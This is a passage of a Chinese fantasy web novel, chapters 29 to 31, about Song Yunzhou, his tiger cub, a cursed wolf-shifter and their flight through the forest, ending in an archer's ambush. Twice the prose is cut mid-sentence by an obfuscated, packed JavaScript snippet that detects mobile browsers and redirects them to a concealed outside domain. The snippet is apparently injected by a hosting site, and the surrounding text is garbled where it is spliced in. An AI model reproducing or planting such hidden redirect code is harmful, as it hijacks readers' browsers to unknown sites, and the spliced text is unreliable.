而宋云州恰在这时的摸摸则是对它最好的激励。 为了以后永远能有摸摸,布瑞德看准时机,脱开宋云州抱得并不算紧的怀抱,如一道黄黑色的闪电般跃到烈金斯面前,不由分说地高扬起一只前爪,一爪子实打实地扣在了狼崽的脑袋上。 29. 噬身邪咒 布瑞德的本意其实只想吓唬狼崽一下,把它赶走就好,没真要给它打出个好歹,因而连爪尖都没亮出来。 谁知这狼崽呆呆的,眼看着布瑞德冲过来,竟连躲都不躲,硬是用脑壳响亮地接下了这一掌,被打了个跟头。 烈金斯一直没把布瑞德放在眼里,全然没预料到这混账会突然动手,他吃亏在了比布瑞德小一圈的体型上,而且他刚从昏迷中醒来,本就有些虚弱,连走路都晃悠,更别说被当头来了这么一下。 烈金斯闷哼一声,侧摔在地上的时候脑子还是懵的。 “布瑞德!”宋云州被布瑞德的举动惊到了,他惊呼一声,连忙把愣在原地的布瑞德一把抱了过来,迅速藏到身后。 “对、对不起,我没想到它、它会……”宋云州慌乱地替布瑞德道歉,试探性地关怀烈金斯道,“你……没事吧?” 宋云州一边说,一边做好了一旦烈金斯要展开报复,他就随时带着布瑞德夺路而逃的准备。 提心吊胆等了一会儿,却不见烈金斯有什么反应。 烈金斯保持着被打倒的姿势趴在地上,比之前昏迷的时候摊得更平了些。 他头晕眼花地瞪着扒住宋云州肩膀冒出头的布瑞德,喘着粗气道:“别太得意,等我力量恢复,我要你小子好看!” 许是烈金斯确实伤得不轻,他没有当即追着布瑞德不放,只是放了句狠话。 宋云州见状,回手把布瑞德的脑袋按回身后,和稀泥道:“它还小,不懂事,你别和它计较。” “我跟他计较?!”烈金斯的声音陡然拔高,愤愤道,“是他先动的手!” “确实确实,”宋云州努力安抚烈金斯的情绪,主动提议,“我帮你教训它。” 说着,宋云州把身后的布瑞德抱到面前,动作利落地抬手打了一下它的脑袋。 宋云州很是严谨,巴掌落处和烈金斯被打的位置几乎一样。 巴掌打是打了,但声音是没有的,宋云州这一手高高举起轻轻放下,真落在布瑞德身上的顶多就是个摸摸,将偏心护短拿捏得十分到位。 布瑞德被“打”得还挺开心,甚至还想当场翻个肚皮,虽说宋云州一把按住阻止了它,但可谓是连戏都没能做足。 “你当我是傻子吗?!”烈金斯死死盯着这团在宋云州怀里撒娇卖乖的毛球,眼里都要喷出火星子,看上去很像拼了这条命不要也得冲过来咬它两口。 宋云州不听不听,就当这件事揭过去了,赶紧扯开话题,将已经冰冷且坚硬的小蝙蝠放到烈金斯面前,说道:“你看它还有救吗?” “黑莓?”烈金斯皱了下眉,果然转移了注意力。 他贴着地向前故涌两下,用鼻头碰了碰黑莓的翅膀,没得到任何回应。 宋云州抱着布瑞德让到一边,露出挡在背后的黑狼,指着它后腿上的伤口:“这还有一只。” 烈金斯一见黑狼这副模样,顿时心头火起,锐利的爪钩全部从爪垫中弹了出来:“我迟早要让王室血债血偿。” 烈金斯站起来,越过黑莓,走到黑狼面前。 黑狼半阖的双眼瞄到烈金斯靠近,一下子睁到最大,它侧抬起头,嘴中呜呜,四肢乱蹬,挣扎着想要爬起来。 烈金斯抬爪按在黑狼梗着的脖子上,让它重新躺好,一股银白法力霎时汇入黑狼身体。 不过眨眼间,黑狼就恢复了活力,它毫无障碍地翻身而起,卧在毯子上,回头用利齿扯断了绑在它腿上的布条,那处深可见骨的箭伤已然完好如初。 烈金斯的情况就不怎么好了,他似是把仅剩的力量都给了黑狼,在送出银白法力的那刻,他变得更加虚弱,直接闭眼倒地,气息飘忽欲绝。 黑狼即刻察觉到烈金斯的异状,尖尖的吻部在烈金斯背上蹭了两下,它抬起一只前爪将烈金斯轻轻拢到自己身边,同时身躯蜷成弯月形状,环在烈金斯身侧,如一座小山丘般威风凛凛地保卫着他,蓬松的毛尾巴还绕过来搭在烈金斯背上,为他保暖。 烈金斯半晌没动。 宋云州的心提到了嗓子眼:“烈金斯?” 宋云州等待片刻,忍不住想要伸手去探烈金斯的脉搏。 “我还没这么容易死。”烈金斯像是猜到了宋云州心中所想,闭着眼睛道,“我只是法力耗尽,需要休息。” “悬铃森林里究竟发生了什么事?你怎么会变成这样?”宋云州很想马上就知道答案,但看烈金斯的状态,他还是体贴地说,“你要累就先歇歇,等会儿再说这些。” 烈金斯说话的力气还是有的,他缓缓开口道:“我在崖底杀的那个魔法师,他身上被人种下了‘噬身咒’,一旦他被魔法击杀,噬身咒就会立即启动,顺着法力痕迹附着到出手杀他的人身上。噬身咒无从察觉,亦无法免除,它附着在我身上,如果我在这之后永远不用法力,它就会一直蛰伏。那时我收到入侵信号,赶去对军队动了手,噬身咒立刻被激活,瞬间吞噬掉了我身体中几乎所有的法力,我就变成了现在这样。” 烈金斯应该是在发现军队的第一时间就使用了魔法,也就是在遭遇军队的一开始他就变成了狼崽模样。 宋云州想了想,问道:“你的法力消失后,马上就昏迷了吗?有没有再和其他魔法师交手?” 烈金斯道:“我模糊记得似乎是哪匹狼叼着我跑了一段,也可能是我自己跑的,之后就没有印象了,再醒来就到这里了。” “也就是说,”宋云州疑惑道,“在我们在森林中找到你之前,搜山的军队并没有发现你,或是说就算是有人看到了你,也没把你和白狼联系在一起?就这样把你遗漏了吗?” 宋云州越想越不对劲,没道理其他的狼都被军队围了,而几近昏迷的狼崽还能独自跑到那么远的地方躲避追捕。 烈金斯却提出了另一种可能:“他们不是来杀我的,或者说,首要目的不是杀我。” “噬身咒是被封禁的邪术之一,要以施术者的生命下咒方能成形,且越多的施术者奉献生命,噬身咒的力量就越强。能在眨眼间夺去我所有法力的咒术,少说也得有上百名魔法师为此牺牲。”烈金斯道,“如此劳师动众,在我中招后他们却什么都没做,很不合常理。” 中年人为将噬身咒过渡到烈金斯身上,不惜故意被烈金斯杀死,可噬身咒发作后,中年人的同伴并没有抓住这一宝贵机会,中年人的献身就失去了意义。 宋云州略微思索,突然想到什么,猛地看向烈金斯:“中年人死时分明惊恐万分,不像是下定了赴死的决心,莫非……” 不等宋云州说完,烈金斯微微颔首,说:“那魔法师作为噬身咒的最初载体,就算不被别人杀死,一定时间后,也会因噬身咒而湮灭肉身,早晚都得死。看他当时的样子,想来应该对自己身上的噬身咒并不知情。” “有人偷偷对他施术。”宋云州顺着烈金斯的思路往下,“他们以猎狼为借口,实则是在借你的手趁机铲除异己。” 王朝中派系林立,党派纷争不断,想置政敌于死地者大有人在,素有“十死无生禁地”之称的悬铃森林确实是借刀杀人的广阔舞台。 “但还有一个问题,”宋云州道,“他们想让中年人死,把他骗到你面前不就好了,何必要多加一个没起什么大用的噬身咒?” 烈金斯不以为意:“兴许是为了做好万一我没出现或没遇到他、也能让他按照计划死在悬铃森林的准备。” “对了,”宋云州想起一件重要的事,忙道,“在森林里我们还遇见了一个隐在黑雾里的怪异事物,由好多黑袍人守着,大火就是它造成的,你知道那是什么吗?” 宋云州仔细描述了一遍他的所见所闻。 烈金斯一本正经地想了想,随即自信地报出一个名字:“纳卡诺。” 宋云州一时没反应过来:“……什么?” “据我所知,喜欢隐在黑雾里偷袭的只有那个家伙,”烈金斯十分坚定地夹带私货,“整天就是一团黑雾飘来飘去,要多晦气有多晦气。” 宋云州:“……” 看来烈金斯对此并不知情,宋云州不再和他在这事上瞎扯,而是关心道:“现在你身上的噬身咒还在吗?” 烈金斯确定道:“吞尽我的法力之后就消失了。” 宋云州问:“它不会对你的法力有什么实质性的影响吧?” 烈金斯摇了摇头。 “那就好。”宋云州放宽心,瞥见被冷落在一边的小蝙蝠干,转言道,“用我把黑莓埋了吗?” “……不用。”烈金斯的眼皮抽搐一下,无语地解释道,“它依托我的法力而生,等我恢复一些,它自己就会醒过来。” 宋云州把黑莓挪到不容易被踩到的地方,他看一时也没什么需要他做的,便抱着布瑞德重新坐回毯子上,找好空当躺下去,客气了一句:“那你有事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142457|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫我。” 宋云州的脑袋刚接触到依托,眼皮就不受控制地打起架来,眼看即将沉入梦乡,却有一道有些讨嫌的喃喃声从旁边传来。 烈金斯说:“我饿了,要吃东西。” 宋云州闭着眼坐起身,一手在地上来回摸索了一下,碰到圆形硬物后将它端起,递向烈金斯的位置:“肉干。” 碟子里的肉干被布瑞德吃掉一大半,余下的用来填饱空肚子可能不太够,但烈金斯都那么虚弱了,应该吃不了太快,这些肉干用来交换睡眠时间刚刚好。 宋云州还没来得及表达“睡醒后再去找别的东西给他吃”的意思,就被烈金斯一句“这个不新鲜”给堵了回来。 宋云州虽然困,但依旧很好说话,马上放下碟子,闭着眼到处乱抓他的背包:“我这里还有面包。” “不,”烈金斯坚定地找茬道,“我要吃肉。” “我这时候上哪儿给你找鲜肉去?”宋云州刚说完这句话,突然想到了什么,立刻睁眼护住布瑞德,“想都别想。” “谁稀罕你那臭虎崽?又不是什么好东西,哪有烤全羊好吃。”烈金斯嗤之以鼻,指使宋云州道,“你去帮我烤羊。” 宋云州惊叹于烈金斯的异想天开:“黑灯瞎火的,你觉得我能抓来羊?” “没指望你。”烈金斯甩甩尾巴,拍上黑狼侧腹,在黑狼看过来的时候,张嘴叫了两声,并非狼嗥,而是,“咩咩。” 宋云州:“……” 类似的情形想必以前出现过很多次,因而黑狼毫无障碍地接收命令,扬脖嗥了几声,传达给守在门外的同伴们。 几匹狼应声窜出了小院。 宋云州来不及阻止:“现在进森林抓羊时间不够,我们一会儿就必须离开村子。” “进什么森林?”烈金斯奇怪地瞥宋云州一眼,“你都说这是村子了,当然有羊圈。” 宋云州算是明白了:“人家给你提供庇护所,你还偷人家的羊吃。” “怎么能说是偷?!”烈金斯义正辞严道,“狼吃羊天经地义,他们既然决定救狼,献上几只羊当然合情合理。” 宋云州偏要质疑:“你应该不是狼吧?”兰缇娅说你是个人呢。 宋云州猜测,烈金斯想维持住银白巨狼的模样,肯定需要大量法力加持,现在他法力不足,所以就只能变个狼崽了。 宋云州好奇道:“你没了法力,怎么不变回原本的人形呢?” 烈金斯瞪着宋云州,不愉快地说:“你管那么多做什么?” 宋云州结合先前邓恩的话,再加上此时烈金斯的状态,心中有了些许推测。 他观察烈金斯的神情,见他顶多是脸有点儿臭,没有发怒的迹象,似乎是求证的好时机。 “其实传闻中的那只白狼已经死了,对吗?”宋云州小心道,“所以你才会变作它的样子,代替它保护狼群。” 烈金斯没说话。 宋云州当他是默认了,又问:“白狼的特殊之处只在于它拥有魔法,你用魔法也能保护好狼群,为什么一定要变成它的模样?你明知白狼的存在会更加刺激王室报复,为什么不让它就此消失?少了白狼这个活靶子,说不定王室的征讨就会渐渐偃旗息鼓,狼群或许能更安全一些。” “王室报复?”烈金斯低吼道,“难道我们就只想偷生吗?!” 宋云州捕捉到烈金斯眸中一闪而过的寒光,忽而明了:“你是故意的?” 烈金斯冷笑一声:“没有任何一匹狼怕死,我们就怕那些混蛋不来,否则我怎么有机会把那些人的脑袋一个一个拧下来,将他们剥皮剔骨,把他们想对我们做的事尽数奉还?!” “倒是你,应当庆幸,”烈金斯稍稍平复心绪,“只有变成这个样子才能让我冷静下来,让我克制住冲回神殿将你们全部撕成碎片的冲动。” 宋云州问:“白狼因何而死?” 王室不知白狼已死,那就不是他们动的手。 难道是白狼年龄到了,自然死亡? 可白狼身负神力,真的还会如其他生灵那样衰老吗? 烈金斯在宋云州问出这个问题的那一瞬间,灼烧般的视线落在了布瑞德身上,他的眼神太过炽烈,几乎要在那黄黑色的皮毛上烫出一个破洞。 “你知道了又有什么用?”烈金斯很快就将目光移到了宋云州脸上,别有深意地问道,“你想要为他报仇吗?” 30. 狭路相逢 烈金斯的眼神太具侵略性,似是只要宋云州一时冲动应下这句话,便是和他订立了一个极度危险的契约。 宋云州能从话语中感受到白狼对于烈金斯而言非常重要,因而他没有直接摇头拒绝,只是含糊谦辞道:“有你在,这件事应该还轮不到我。” 烈金斯怎会不知道宋云州在跟他打马虎眼,不过他并不在乎。 烈金斯冷笑一声:“的确,不管有没有你,这仇早晚都能得报。” 说完,烈金斯的目光在布瑞德身上一扫而过,脑袋疲惫地歪向一侧,开始闭目养神。 宋云州默默松了口气,烈金斯喜怒无常,和他说话要打起十成十的精神,着实不轻松。 现在总算没事了,宋云州看了眼身下的毯子,犹豫着要不要继续躺会儿,却听远处隐约传来一阵骚动。 宋云州连忙站起身,两步奔到门口,侧耳听得更清楚些,原来不是人声,而是犬吠与羊群惊慌的嘶鸣。 看来那几匹狼已经找到羊圈的所在了。 烈金斯的声音适时再度响起:“你该去做好准备了。” 这句话没头没尾,但宋云州能听懂,他回头看了眼烈金斯:“你自己一个人的时候不会就吃生的吧?” 烈金斯没睁眼,老神在在地说:“要是有法力,哪里还用得着这么麻烦。” 宋云州顿悟,是啊,他怎么把这茬忘了,魔法在某种程度上来说就是万能的,可惜他没有。 没有魔法就只能靠动手了,院落中正好有劈好的柴,宋云州放下布瑞德,抱了一捆柴放到院中,摆成便于点火的形状。 布瑞德黏在宋云州腿边,随着他走来走去,歪着脑袋好奇地看他用树枝搭起一个木头架子。 没过一会儿,留在院子里的狼群突然躁动,纷纷起身看向一个方向。 宋云州跟它们一道看去,只见奉命去抓“咩咩”的几匹狼合力拖着一只体型健硕的绵羊朝院落跑来。 也不知是羊群和牧羊犬的骚动没能惊醒任何一位村民,还是真如烈金斯所说,村民故意放任它们抓羊,反正狼群一路畅行无阻。 已经被咬死的羊送到了宋云州眼前,个头很大,宋云州看了看羊,又看了看他支在柴火堆上的烧烤架,估计了一下得把这羊切成多少块、分多少次烤才能全部烤完,顿感任务极其艰巨。 幸亏烈金斯在这时说了一句体贴话:“给我烤一条羊腿就行,剩下的让它们吃。” 院子里的狼一下子多起来,一双双眼睛在夜色中闪着绿光,宋云州不放心再散放着布瑞德满地跑,进屋取来背包,又把布瑞德放了进去,只允许布瑞德挤出脑袋来盯着他看。 宋云州把布瑞德放在一抬眼就能看见的地方,他拔出小刀割下羊腿,剥去皮毛,架在了熊熊燃烧的火焰上。 有之前围观霍尔加处理猎物的经验,宋云州做起这些来倒不费劲。 剩下的大半只羊躺在地上,持续散发着血肉腥味,院子里的狼按捺不住地围着羊走来走去,却都不敢下嘴去咬,它们冲屋内呜呜低嗥着,似在催促什么。 黑狼在狼群的呼唤声中走了出来,狼群为它让路,黑狼径直走向绵羊,利齿撕开它的胸膛,吃掉了大半鲜嫩的内脏。 黑狼吃完舔舔嘴唇,转身离开,围在外侧垂涎欲滴的狼群这才一拥而上,争着抢肉吃。 宋云州抓着布瑞德躲得离它们远点,免得被横飞的血肉溅到身上。 羊腿在火舌的舔舐下逐渐变得焦香金黄,醇厚油脂滴落在火堆中发出噼噼啪啪的爆燃声,没有调味香料的遮掩,羊肉最本质的鲜味大肆外溢,香气钻入鼻腔,诱得人立刻就想大咬一口,仔细品尝这大好滋味。 院子里的狼有意无意地瞄向这边,用力吸气的声音此起彼伏,令坐在羊腿旁边的宋云州压力倍增,他不住地来回翻动羊腿,盼望它能熟得快一点儿。 布瑞德梗着脖子,同样大吸了好几口气,眼睛黏在滋滋冒油的羊腿上,它虽然不吵不闹,却馋得口水在背包上洇出了一小块水渍。 烈金斯在黑狼的护卫下从屋中走了出来,脚步仍有些蹒跚,但状态已然好了不少,他也是被香味引出来的,在不远处一卧,监督宋云州不许偷吃。 烈焰持续炙烤,羊腿很快完全熟透,宋云州考虑到烈金斯以现在的模样不方便啃羊腿,于是主动把羊肉全部切进一个大碟子里,这才端给烈金斯。 烈金斯刚要对宋云州如此到位的服务表达赞许,就见宋云州另拿了一个空碟子,拨走了一小部分羊肉。 烈金斯立刻炸了毛:“你干什么?!这是我的羊腿!” 烈金斯装作白狼时还端着些高贵冷傲的架子,现在变成狼崽,没了包袱,倒是恢复了他原本的性格。 宋云州理直气壮道:“你总该给我些帮你烤羊的报酬。” 烈金斯眼睁睁看着宋云州把那碟羊肉端到了布瑞德面前,烈金斯实在饥肠辘辘,索性不再计较那一点损失,只是白了一眼正努力探出鼻头贴着羊肉嗅来嗅去、一脸傻兮兮模样的布瑞德,便闷头开吃。 宋云州抱出布瑞德,用手拈起肉块,耐心地吹至半温不热才喂进布瑞德嘴里。 宋云州照料着布瑞德吃得精致优雅,布瑞德大饱口福,愉悦地仰头用耳朵蹭了蹭宋云州的脸颊。 另一边没人管的烈金斯则狼吞虎咽地往嘴里大口塞着肉,一张狼脸几乎都埋进了肉堆里。 吃着吃着,烈金斯眼角余光不慎又扫到了那只臭虎崽,看见臭虎崽吃两口饭还得和宋云州亲昵,白眼险些要翻到天上去。 柴火的燃烧声渐弱,院子里静了下来,一道稍显微弱的声音从屋中传出来:“呜呜,什么味道这么香……” 宋云州一愣,看向房门方向:“黑莓?” 不等宋云州站起身,一个黑影就跌跌撞撞地从屋里飞了出来,直直扑到了烈金斯背上。 “烈金斯大人!” 黑莓刚醒来,脑袋还晕晕乎乎的,却不忘第一时间寻到它的烈金斯大人,并热烈地大声欢呼。 唯独不好的一点是,黑莓忽略了烈金斯体型变小后,它自烈金斯身后展开双翼的热情拥抱卡住了烈金斯的脖子。 烈金斯正好刚要咽下满满的一口肉,结果毫无防备地被黑莓这么一勒,不出所料地狠狠呛到了。 “咳咳咳咳!”烈金斯爆发出一连串的剧烈咳嗽,脊背颤得厉害。 黑莓连忙从烈金斯身后探过头来,眨巴着黑豆眼,十分无辜地关心道:“烈金斯大人你怎么样啦?!” 烈金斯:“……” 没事,还活着。 烈金斯缓过劲儿,也不见生气,而是抖了抖毛,让黑莓落在碟子边,一起分享食物:“新烤的羊腿,趁热吃。” 黑莓眼前一亮,吸吸鼻子,立刻张嘴咬了一块,嘶哈嘶哈吐着热气,“好香好香”不要钱地从它嘴里往外冒。 黑莓咀嚼着打量四周,目光捕捉到坐在不远处的宋云州和布瑞德,它当即撂下肉块,飞向宋云州。 “幸亏有你,烈金斯大人才能成功脱险!”向来坏坏的小蝙蝠还是第一次赞美除烈金斯大人之外的人,此时有些不好意思,它抖了抖尖耳朵,真诚地说了一声,“谢谢你哦。” 宋云州看黑莓灵活地扑扇翅膀,悬停在半空,友善地笑了笑:“你身上的伤全都好了。” “是呀是呀,烈金斯大人的法力超级厉害!”黑莓在空中旋转一周,展示它焕然一新的毛毛和翅膀,不遗余力地吹嘘道。 寒暄过后,黑莓直奔主题,眼睛盯向宋云州腿边的背包,重新蓄满了坏水,如先前那般“嘿嘿”坏笑道:“你那个面包再给我来点儿呗,正好也给烈金斯大人尝尝。” 宋云州了然一笑,他一早就猜到小蝙蝠是为了面包而来,道谢仅是顺带。 宋云州毫不吝啬,拿出一块面包,就着火焰的余温烤热,掰成两半,分给烈金斯和黑莓。 黑莓整个身体都扑在了香香的面包上,几乎要把自己埋进去,它嘴里塞着一大口面包,含混不清地招呼烈金斯道:“烈金狮大仍,好吃滴!” 烈金斯探头闻了闻他自己的那块,勉为其难地咬了一口,神色随着咀嚼逐渐舒展,咽下后点评道:“兰缇娅做的面包味道还可以。” 烈金斯曾在神殿里吃过兰缇娅做的面包,所以才会这么说,只是…… 宋云州想了想,决定不说话,动手收拾起一片狼藉的院子。 他把剩下的羊骨和柴火燃烧后的余烬,总之就是院子里之前没有的东西,全都拿到院子外面埋了,毁尸灭迹,之后洗净碟子,放回原处。 宋云州忙里忙外,布瑞德就待在背包里,仰着脑袋嗅闻空气中的面包香味。 布瑞德早就吃饱了,但面包的味道是那样熟悉,它从没系紧的背包口挤出来,循着香味走到烈金斯和黑莓身边,好奇地抻着脖子凑上前,只是想闻一下。 黑莓看见布瑞德靠近,立刻拖着面包躲到了烈金斯身后,小眼睛偷偷朝这边打量,它还记得宋云州说这虎崽喜欢吃蝙蝠,生怕布瑞德把它连同面包一口吞了。 烈金斯无动于衷地啃着面包,心里打定主意,要是这混蛋再敢动手,他一定要让黑狼狠狠咬这蠢毛球一顿。 此时宋云州不在身边,布瑞德无需护怀,对烈金斯的敌意自然消弭,很是友好地来凑个热闹。 烈金斯则不然,他心里有恨,只苦于当前的身形没办法再一脚把布瑞德踹个跟头。 当布瑞德的毛脑袋凑到他眼前,贴近他爪下的面包时,烈金斯没好气地一呲牙,扬爪用力一挥,险些打到布瑞德鼻尖,没好气道:“滚远点。” 布瑞德吓了一跳,当即倒退两步。 黑莓看见这一幕,立刻支棱起身体,振奋地赞扬替它赶走“掠食者”的烈金斯:“烈金斯大人威风!无敌!” 黑莓同烈金斯叽咕叽咕地说着话,不时坏笑一下。 都说宠物随主人,原来魔法宠物也随主人,黑莓与烈金斯如出一辙的混乱邪恶,相比起来,菠萝和纳卡诺则是那样守序且善良。 布瑞德向后退,感觉身后碰到了什么东西,不等它回头看,它的身体就腾空而起,落入了一个温暖的怀抱。 宋云州麻利地整理完一切,一回来就看到烈金斯在欺负他的虎崽,他抱起布瑞德,安抚地抚摸它的背脊,遂决定不再忍。 宋云州严谨地回忆了一下布瑞德出事那天早晨餐厅中的情况,如实对烈金斯说道:“其实这面包是纳卡诺做的。” 果不其然,烈金斯听见这话,顿觉一阵反胃,连连干呕:“哕。” 还扑在面包上大口撕咬的黑莓被烈金斯惊到,停下咀嚼,声音发颤地问:“这面包有、有毒?!” 宋云州看着烈金斯的反应,算是出了口恶气,他云淡风轻地冲黑莓摇摇头,微笑着说:“当然没毒,他好像是吃得太撑了才会这样,缓缓就好了。” 黑莓半信半疑地盯着烈金斯看,烈金斯恶心得恨不能把整个胃清空,却又可惜先吃下去的羊肉,只能努力平复下呕吐的冲动。 剩下的面包烈金斯肯定是不吃了,黑莓怕浪费就全部拢到了自己面前,“呜呜噫噫”吃得不亦乐乎,把小肚皮撑得圆溜溜的,连飞都飞不稳了。 奔跑的脚步声在寂静的村道上回荡,一个人跑到了狼群栖身的小院外。 “宋云州,”桑古没有进来,声音不带喘息,隔着篱笆对宋云州说,“村长婆婆说天快亮了,让你们现在就得离开。” “好,我们这就走。”宋云州背起装好布瑞德的背包,朝桑古点了点头。 “真的很抱歉。”桑古对上宋云州的眼神,一下子将头低了下去,难堪地自责道,“是我邀请你来村落,不想却让你更加劳累,平添许多波折……” 宋云州赶忙止住桑古的话,纠正道:“多亏了你,我们才能找到这落脚之处,不必一直在林间提心吊胆地奔逃。不说别的,光是受伤的黑狼,都是因为你和莫莉才得以活命。” 虽然宋云州自己的确从头至尾都没能休息,只是练了个仰卧起坐。 “那匹狼……”桑古侧身朝屋里望去,靠近门口的毯子上空空如也。 宋云州往斜后方一指:“已经好了。” 桑古顺着宋云州手指的方向看去,黑狼正卧在地上,让狼崽可以更方便地爬到它背上,随后起身,驮着狼崽来到宋云州身边。 黑狼行动无碍,甚至连伤处都看不到了。 桑古惊讶地看向宋云州:“这是怎么做到的?” 宋云州顿了一下:“是狼神法力护佑,突然就好了。” “狼崽也醒了!太好了!”桑古深信不疑,双眼中透出兴奋的神采,兴冲冲地对宋云州说,“既然有狼神护佑,你们这一路一定会平安的,万事小心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142458|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 宋云州最后朝桑古摆了摆手,跟随狼群绕过村落,再一次进入深山老林。 黑莓起初跟在烈金斯身侧飞行,没一会儿就懒得再扇翅膀,索性落在了烈金斯背上,和它叠在一起。 烈金斯醒来,就由他带领着狼群前行,一个劲儿地往林深处钻。 走了一阵,宋云州问:“我们现在是去哪儿?” 烈金斯道:“去覆盖满黄沙的山峦。” “黄沙?!”黑莓从没见过这种山,好奇地飞出林梢朝远方眺望,很快便一无所获地落回来,沮丧道,“完全看不到啊。” “当然看不见,还远着呢。”烈金斯估计了一下,“大概要走十天半个月吧?我也是第一次去。” 宋云州奇怪道:“为什么要去那里,有人接应吗?” “谁接应?那里又没有我认识的人。”烈金斯无所谓地说,“进入沙漠就是他国领土,肯利埃的军队一旦涉足即视为宣战,我们就安全了。但我们肯定走不到那么远,现在先随便走走,等我法力恢复,我立刻带你们杀回去。” 宋云州:“……” 宋云州觉得自己的语言有时还是挺贫乏的,烈金斯的计划硬说有道理也确实有,但听起来就是很不着调。 狼群埋头赶路,速度适中,一时没人再说话。 宋云州怕暴露位置没点火把,月光被高耸的林木分割成细碎的小块,林间微光点点,视物艰难,更加难以发现提前躲藏在树冠之上的人。 那人沉默注视着狼群行经树下,缓缓举起弓箭,瞄准了其中的某个目标,迅速拉弦,放出箭矢。 短促的弓弦震响,暗处寒光一闪,突如其来的尖锐剧痛令宋云州闷哼一声,瞬间跪倒在地。 ——暗箭透骨而过,刺穿了宋云州的小腿! 狼群遇到危险下意识退开,很快重新围拢,发出低吼,呈防御阵型怒视出现弓弦响动的方位。 烈金斯循着轨迹看向树冠,空荡荡的树枝上早已不见偷袭者的踪迹。 黑莓躲在烈金斯身后,抖着耳朵捕捉周围的声音,预想中马上就会有大片的人马喧嚣乍响,追兵会从四面八方围拢而来,光是这么想着,黑莓的身体就不受控制地颤了颤。 屏息警惕半晌,却没再出现任何响动。 偷袭者似乎只是为了放这一记冷箭,一击即离,没有后手。 可在此刻的情况下,这种可能性存在的几率微乎其微,烈金斯无法放下心来,他们的行踪已经暴露,此地不宜久留,必须马上离开,但是…… 烈金斯皱着眉头看向宋云州。 疼痛所致的冷汗浸透了宋云州的衣衫,血水汇聚在他身下的落叶上,汪成色彩明艳的一滩。 宋云州左小腿的骨头断了,疼痛感如潮水接连倒灌,哪怕一动不动,连呼吸中都带着痛意,就算拔箭止血,宋云州一时半刻也没法凭自己的力量跟上队伍。 除非用魔法…… 烈金斯直白地扼杀了这个选择:“我不能帮你。” 烈金斯足够果决,毫不迟疑地做出取舍,他不能冒着再次虚弱的风险使用魔法,他必须在绝对清醒的状态下掌控狼群。 宋云州理解烈金斯的决定,没再多说什么,他动作迅速地脱下背包,倒出里面所有的东西,只将布瑞德留在里面。 宋云州与布瑞德对视一眼,后者尚不知发生了什么事,懵懂地仰起头动了动耳朵。 宋云州强忍住不舍,沾满血的双手把背包表面揉攥得一塌糊涂,他把系紧的背包捧到烈金斯面前,低声请求道:“帮我带布瑞德走吧,让它在绝对安全的地方活下去。” 烈金斯默然,扫了眼鼓鼓囊囊的背包,目光转落到宋云州脸上。 黑莓惋惜地对着扔在地上的面包叹了口气。 烈金斯没答应,但也没拒绝。 宋云州把背包牢牢绑在一匹狼的背上,最后隔着背包摸了一下:“千万别抛下它,它还太小,活不成的。” 布瑞德感觉到来自外界的触碰,唔噜一声,拱了一下后背,可这回应还没真切传递到宋云州手心,驮着它的狼就已转过了身。 宋云州手下的触感转瞬即逝,狼群在黑狼和烈金斯的带领下开始全速狂奔。 十几双幽绿眼瞳鬼魅般融入莽林夜色,眨眼间便没了声息。 宋云州收回视线,悬空的手缓缓放下,落在了腰间的长剑柄上。 狼群的离开同样没有惊起任何骚动,宋云州隐约有预感,偷袭之人应是单独冲他而来。 宋云州待在原地没动,伤腿根本跑不远,逃也是白费力气。 依偷袭者的准头,分明可以直接一箭穿喉杀了他,却并未这么做,既留他一命,想来是他对偷袭者来说还有利用价值,此时他落单,偷袭者或许很快就会现身。 一时半会儿死不了,也不好让血这么一直流着。 宋云州边等着,边低头来回看了两眼伤腿,兀自琢磨这种程度的贯穿伤究竟该怎么处理。 不出宋云州所料,没等他动手治伤,便听闻甲胄轻擦声在幽静林中突兀响起,一人自不远处树后的阴影中走了出来。 宋云州平静地转头看去,注视来者一步一步走入月光落下的斑驳中。 黑色战靴被月色照亮,光线随着那人的行动逐渐上移,宋云州看到了熟悉的黑色盔甲,腰间一柄银白剑柄、纯黑剑鞘的长剑,振翅的银鹰,以及苍白面颊上那双淡漠忧郁的灰色眼瞳。 ——正是在悬铃森林中与宋云州交手的那个男人。 与先前相比,男人的背后多了一副弓箭。 宋云州并没有太过惊讶,毕竟有邓恩的警告在先,现在看来邓恩确实所言非虚,男人当时是故意放他走的。 至于男人为什么要这么做—— 宋云州解下了腰上的金剑,在眼前打量一番,双手捧着剑鞘,将剑往男人的方向呈去,确定道:“你是专程为它而来。” 剑鞘上的宝石沾染了宋云州的血,在月色下映射出别样的辉芒,梦幻而又嗜血。 男人在距宋云州三步远的地方站定,视线在剑身上一扫而过,完全没有要接过它的意思。 看起来男人在意的并不是这柄剑,或者说,除剑本身之外,他还有更在意的事物。 “这柄剑不属于你,”男人开口,冷淡地说出他真实的意图,“它原本的主人在哪里?” 31. 意料之外 宋云州见男人不要,动作自然地将剑收回自己面前,握住剑柄,“唰啦”一声拔出些许剑刃。 剑身银光映亮宋云州的双眼,他明知故问道:“你认识这柄剑?它应该属于谁?” 男人略微不耐:“不要用‘问题’回答‘问题’。” 宋云州依旧没接男人的话,继续发问:“你和他是什么关系?有恩,还是有仇?” 这个问题令男人静了一瞬,他眸光稍动,开始认真打量起宋云州。 